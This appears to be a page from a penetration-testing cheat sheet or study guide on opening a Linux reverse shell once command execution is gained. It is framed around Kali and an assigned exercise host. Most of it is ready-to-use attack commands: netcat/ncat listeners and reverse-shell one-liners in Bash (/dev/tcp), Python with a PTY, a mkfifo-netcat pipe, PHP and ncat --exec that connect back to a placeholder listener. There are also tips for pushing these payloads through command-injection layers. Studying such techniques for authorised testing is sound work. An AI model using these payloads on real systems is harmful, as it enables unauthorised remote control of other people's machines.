Connect a Linux reverse shell through an available interpreter

Needs: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Client commands / example output

# Baseline
trigger context
→ target process/interpreter and architecture
→ target source interface
→ route/egress controls
→ LHOST address visible from target
→ LPORT
→ local bind interface
→ listener/handler

On Kali

# On Kali
ip -brief address
ip route
ss -lntp

Windows source/listener checks

# Windows source/listener checks
Get-NetIPAddress -AddressFamily IPv4
Get-NetRoute -AddressFamily IPv4
Get-NetTCPConnection -State Listen

Traditional/OpenBSD-style nc commonly used on Kali

# Traditional/OpenBSD-style nc commonly used on Kali
rlwrap nc -lvnp LPORT

# Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag
ncat -4 -lvn 0.0.0.0 LPORT

# Verify the bind in another terminal
ss -lntp | grep ':LPORT'

# If multiple interfaces exist, bind deliberately
ncat -4 -lvn LHOST LPORT

Bash TCP

Failure cue: a listener bound only to 127.0.0.1, the wrong VPN/interface address or the wrong address family cannot receive the expected callback. “Address already in use” means another process owns the bind.

# Bash TCP
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

# Python 3 with a PTY
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

# Portable FIFO plus Netcat when -e is absent
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

# PHP CLI
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# Linux
ncat LHOST LPORT --exec /bin/sh

Windows

REM Windows
ncat.exe LHOST LPORT --exec cmd.exe

--exec exposes the named program directly to the network connection. Use only on the assigned host and remove transferred tooling when the exercise requires cleanup.

Verify → Run hostname/id through the returned channel and distinguish a TCP connection from a functioning shell.

If it fails → No packets suggests route/listener/trigger; packets without commands suggest payload/listener mismatch. Check the first failed boundary. More detail ↓

If → then

A working shell lacks job control, terminal signals or interactive program support → Repair a limited Linux terminal
Needs: A working channel and available PTY mechanism; correct local-terminal control sequence
Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
Needs: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence
A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients
Needs: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Reverse egress is unavailable but a target listener is reachable → Use a bind shell when the target can accept inbound connections
Needs: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Connect a Linux reverse shell through an available interpreter

USE WHEN: Linux command execution exists but an interactive channel is needed
STARTING ACCESS: Verified command execution or authenticated remote access and a known network path
RESULT: A verified reverse command channel under the executing identity

Recognize the clue

From the proven Linux command channel inspect available interpreters and the target's route to the proposed listener.

command -v bash python3 php nc
ip route get LHOST

SYNTHETIC EXAMPLE OUTPUT

/usr/bin/bash
/usr/bin/python3
LHOST via GATEWAY dev INTERFACE

Means: An interpreter plus a plausible outbound route suggests a reverse-channel candidate.

Confirm: Verify target-to-listener reachability, listener binding, exact shell/parser and payload compatibility.

After validation: The minimal connection works and the shell/handler matches: select that reverse channel.
Ruled out in this context: The chosen interpreter is absent: reject that interpreter's payload, retaining other available methods.
Still inconclusive: A route entry without packet/connection evidence leaves egress filtering unresolved.

Troubleshooting: No packets suggests route/listener/trigger; packets without commands suggest payload/listener mismatch. Check the first failed boundary.

Select LHOST from the target's point of view. A VPN address, tunnel endpoint or reachable interface may be correct while Kali's default-route address is wrong.

On Kali:

Windows source/listener checks:

Traditional/OpenBSD-style nc commonly used on Kali:

Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag:

Verify the bind in another terminal:

If multiple interfaces exist, bind deliberately:

Failure cue: a listener bound only to 127.0.0.1, the wrong VPN/interface address or the wrong address family cannot receive the expected callback. “Address already in use” means another process owns the bind.

Choose an interpreter that you confirmed exists.

Bash TCP:

Python 3 with a PTY:

Portable FIFO plus Netcat when -e is absent:

PHP CLI:

Variant — target has Ncat command execution

Linux:

Windows:

--exec exposes the named program directly to the network connection. Use only on the assigned host and remove transferred tooling when the exercise requires cleanup.

Shell-language cue: a command injection may execute through /bin/sh, which does not understand every Bash construct. Wrap Bash-specific syntax in bash -c '...' and then encode it for the outer HTTP/template/database layer.

Why it works

The target initiates the connection. The chosen LHOST must be reachable from that target, possibly through a pivot; shell syntax must survive every outer parser.

Worked example · hypothetical

Observation: id works through a web command field but no shell arrives. Test: verify Bash exists and wrap its redirections in bash -c while inspecting listener traffic. Illustrative output: a connection and target identity appear. Interpretation: stabilize the terminal before interactive tools.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗